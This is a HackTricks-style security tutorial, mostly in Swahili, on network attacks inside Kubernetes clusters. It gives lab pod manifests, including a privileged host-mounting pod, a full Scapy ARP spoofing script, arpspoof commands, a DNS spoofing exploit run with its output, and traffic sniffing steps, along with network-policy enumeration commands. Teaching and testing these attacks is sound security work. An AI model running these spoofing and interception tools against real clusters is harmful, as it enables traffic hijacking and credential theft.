14 KiB
Kubernetes Network Attacks
{{#include ../../banners/hacktricks-training.md}}
Utangulizi
Katika Kubernetes, imeonekana kuwa tabia ya default huruhusu uanzishaji wa connections kati ya all containers zilizo kwenye node ileile. Hii hutumika bila kujali tofauti za namespace. Uunganisho huu unaenea hadi Layer 2 (Ethernet). Kwa hiyo, configuration hii inaweza kufichua system kwa vulnerabilities. Kwa usahihi, inafungua uwezekano kwa malicious container kutekeleza ARP spoofing attack dhidi ya containers nyingine zilizo kwenye node ileile. Wakati wa shambulio kama hilo, malicious container inaweza kwa udanganyifu kuingilia au kubadilisha network traffic iliyokusudiwa kwa containers nyingine.
ARP spoofing attacks huhusisha attacker kutuma falsified ARP (Address Resolution Protocol) messages kupitia local area network. Hii husababisha kuunganishwa kwa MAC address ya attacker na IP address ya computer au server halali kwenye network. Baada ya kutekelezwa kwa mafanikio kwa attack kama hiyo, attacker anaweza kuingilia, kubadilisha, au hata kusimamisha data in-transit. Attack hii hutekelezwa kwenye Layer 2 ya OSI model, ndiyo sababu default connectivity katika Kubernetes kwenye layer hii huibua wasiwasi wa usalama.
Katika scenario hii mashine 4 zitaundwa:
- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
- ubuntu-attack: Malicious container in default namespace
- ubuntu-victim: Victim machine in kube-system namespace
- mysql: Victim machine in default namespace
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
Basic Kubernetes Networking
Ukihitaji maelezo zaidi kuhusu mada za networking zilizowasilishwa hapa, nenda kwenye references.
ARP
Kwa ujumla, pod-to-pod networking ndani ya node inapatikana kupitia bridge inayounganisha pods zote. Bridge hii inaitwa “cbr0”. (Baadhi ya network plugins zitaweka bridge yao wenyewe.) cbr0 pia inaweza kushughulikia ARP (Address Resolution Protocol) resolution. Wakati packet inayoingia inapowasili kwenye cbr0, inaweza kutatua destination MAC address kwa kutumia ARP.
Hii inaashiria kwamba, kwa default, kila pod inayokimbia kwenye node ileile itaweza kucommunicate na pod nyingine yoyote kwenye node ileile (bila kujali namespace) katika kiwango cha ethernet (layer 2).
Warning
Kwa hiyo, inawezekana kufanya ARP Spoofing attacks kati ya pods kwenye node ileile.
NetworkPolicy and admin policy layers
Kubernetes NetworkPolicy ni pod traffic control katika L3/L4, lakini inatekelezwa na CNI plugin na si na API server yenyewe. Cluster inaweza kuhifadhi objects za NetworkPolicy wakati bado inaruhusu traffic ikiwa active CNI haiitekelezi, kwa hiyo kila mara thibitisha kwa kutumia controlled allowed source na blocked negative-control source.
Usiishie kwenye kubectl get networkpolicy -A. Clusters zinazotumia Cilium, Calico, OVN-Kubernetes, Antrea, au managed-provider dataplanes zinaweza pia kuwa na policy APIs kama CiliumNetworkPolicy, CiliumClusterwideNetworkPolicy, Calico GlobalNetworkPolicy, AdminNetworkPolicy, au BaselineAdminNetworkPolicy. Hizi zinaweza kuongeza explicit deny, tier/order, cluster scope, L7/DNS rules, au admin guardrails ambazo kawaida additive Kubernetes NetworkPolicy semantics hazifafanui.
Useful first checks:
kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
kubectl get networkpolicy -A
kubectl get cnp,ccnp -A 2>/dev/null
kubectl get globalnetworkpolicy -A 2>/dev/null
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null
Kwa uchambuzi wa bypass, angalia kama block iliyokusudiwa inaepukwa kupitia allowed proxy, DNS au egress gateway, hostNetwork pod, node-local path, broad namespace au pod label selector, au higher-precedence admin/global policy. Ripoti source pod labels, namespace labels, destination Service au EndpointSlice, CNI/policy implementation, deciding policy rule, na traffic proof.
DNS
Katika mazingira ya kubernetes kwa kawaida utapata 1 (au zaidi) DNS services running kwa kawaida katika namespace ya kube-system:
kubectl -n kube-system describe services
Name: kube-dns
Namespace: kube-system
Labels: k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations: prometheus.io/port: 9153
prometheus.io/scrape: true
Selector: k8s-app=kube-dns
Type: ClusterIP
IP Families: <none>
IP: 10.96.0.10
IPs: 10.96.0.10
Port: dns 53/UDP
TargetPort: 53/UDP
Endpoints: 172.17.0.2:53
Port: dns-tcp 53/TCP
TargetPort: 53/TCP
Endpoints: 172.17.0.2:53
Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
Katika maelezo ya awali unaweza kuona kitu cha kuvutia, IP ya service ni 10.96.0.10 lakini IP ya pod inayoendesha service hiyo ni 172.17.0.2.
Ukikagua anwani ya DNS ndani ya pod yoyote utapata kitu kama hiki:
cat /etc/resolv.conf
nameserver 10.96.0.10
Hata hivyo, pod haijui jinsi ya kufika kwenye anwani hiyo kwa sababu pod range katika kesi hii ni 172.17.0.10/26.
Kwa hiyo, pod itatuma DNS requests kwenda kwenye anwani 10.96.0.10 ambayo itakuwa imetafsiriwa na cbr0 kuwa 172.17.0.2.
Warning
Hii inamaanisha kuwa DNS request ya pod daima itaenda kwenye bridge ili kutafsiri service IP kwenda endpoint IP, hata kama DNS server iko kwenye subnetwork ileile kama pod.
Kwa kujua hilo, na kwa kujua ARP attacks zinawezekana, pod ndani ya node itaweza kushika trafiki kati ya kila pod kwenye subnetwork na bridge na kubadilisha DNS responses kutoka kwa DNS server (DNS Spoofing).
Zaidi ya hayo, ikiwa DNS server iko katika node ileile kama attacker, attacker anaweza kushika DNS request zote za pod yoyote kwenye cluster (kati ya DNS server na bridge) na kubadilisha responses.
Note
Hakiki CNI inayotumika na njia ya DNS kabla ya kudhani hii inafanya kazi katika cluster ya kweli. Baadhi ya CNIs hupanga au kutenga traffic ya same-node kwa njia tofauti, na clusters zinazotumia NodeLocal DNSCache zinaweza kutuma DNS queries za pod kwenda kwenye node-local address kabla ya kuforward kwenda CoreDNS. Katika mazingira hayo, DNS spoofing inategemea pod placement, packet capabilities, resolver configuration, tabia ya node-local cache, na kama applications huthibitisha peers kwa TLS au utaratibu mwingine wa identity.
ARP Spoofing in pods in the same Node
Lengo letu ni kuiba angalau mawasiliano kutoka ubuntu-victim kwenda mysql.
Scapy
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses
# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0
# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
ARPSpoof
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
DNS Spoofing
Kama ilivyotajwa tayari, ukipata compromise ya pod kwenye node moja na pod ya DNS server, unaweza kufanya MitM kwa kutumia ARPSpoofing dhidi ya bridge na pod ya DNS na kurekebisha majibu yote ya DNS.
Una tool na tutorial nzuri sana ya kujaribu hili katika https://github.com/danielsagi/kube-dnsspoof/
Katika scenario yetu, pakua tool ndani ya attacker pod na uunde file linaloitwa hosts lenye domains unazotaka spoof kama:
cat hosts
google.com. 1.1.1.1
Tekeleza attack kwenye machine ya ubuntu-victim:
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge: 172.17.0.1 02:42:bd:63:07:8d
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com. 1 IN A 1.1.1.1
Note
If you try to create your own DNS spoofing script, if you just modify the the DNS response that is not going to work, because the response is going to have a src IP the IP address of the malicious pod and won't be accepted.
You need to generate a new DNS packet with the src IP of the DNS where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
DNS Spoofing via coreDNS configmap
Mtumiaji aliye na ruhusa za kuandika juu ya configmap coredns katika namespace kube-system anaweza kurekebisha majibu ya DNS ya cluster.
Pia kagua NodeLocal DNSCache ikiwa imewekwa. Kwa kawaida huendeshwa kama hostNetwork DaemonSet na ina ConfigMap yake, logs, cache, na forwarding path yake. Mabadiliko ya CoreDNS huenda yasiwe mahali pekee ambapo tabia ya DNS inaweza kuathiriwa au kuonekana.
Angalia taarifa zaidi kuhusu shambulio hili katika:
{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}
Abusing exposed kubernetes management services
Services kama Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, na Kubernetes dashboard mara nyingi huwekwa wazi ama kwa internet au ndani ya kubernetes network. Mshambuliaji anayefaulu kupata jukwaa lolote linalotumika kusimamia kubernetes na kulifikia anaweza kulitumia kupata access ya kubernetes API na kufanya actions kama kuunda pods mpya, kurekebisha zilizopo, au hata kuzifuta.
Enumerating kubernetes network policies
Pata networkpolicies zilizosanidiwa:
kubectl get networkpolicies --all-namespaces
Pata Callico network policies:
kubectl get globalnetworkpolicy --all-namespaces
Pata Cillium network policies:
kubectl get ciliumnetworkpolicy --all-namespaces
Pata CRDs nyingine zinazohusiana na policy zilizosakinishwa na network plugin yako au security solution:
kubectl get crd | grep -i policy
Kukamata Traffic
Chombo Mizu ni simple-yet-powerful API traffic viewer for Kubernetes inayokuwezesha kuona mawasiliano yote ya API kati ya microservices ili kusaidia debug na troubleshoot regressions.
It will install agents katika pods zilizochaguliwa na kukusanya taarifa zao za traffic na kukuonyesha kwenye web server. Hata hivyo, utahitaji high K8s permissions kwa hili (na si very stealthy).
References
- https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1
- https://blog.aquasec.com/dns-spoofing-kubernetes-clusters
{{#include ../../banners/hacktricks-training.md}}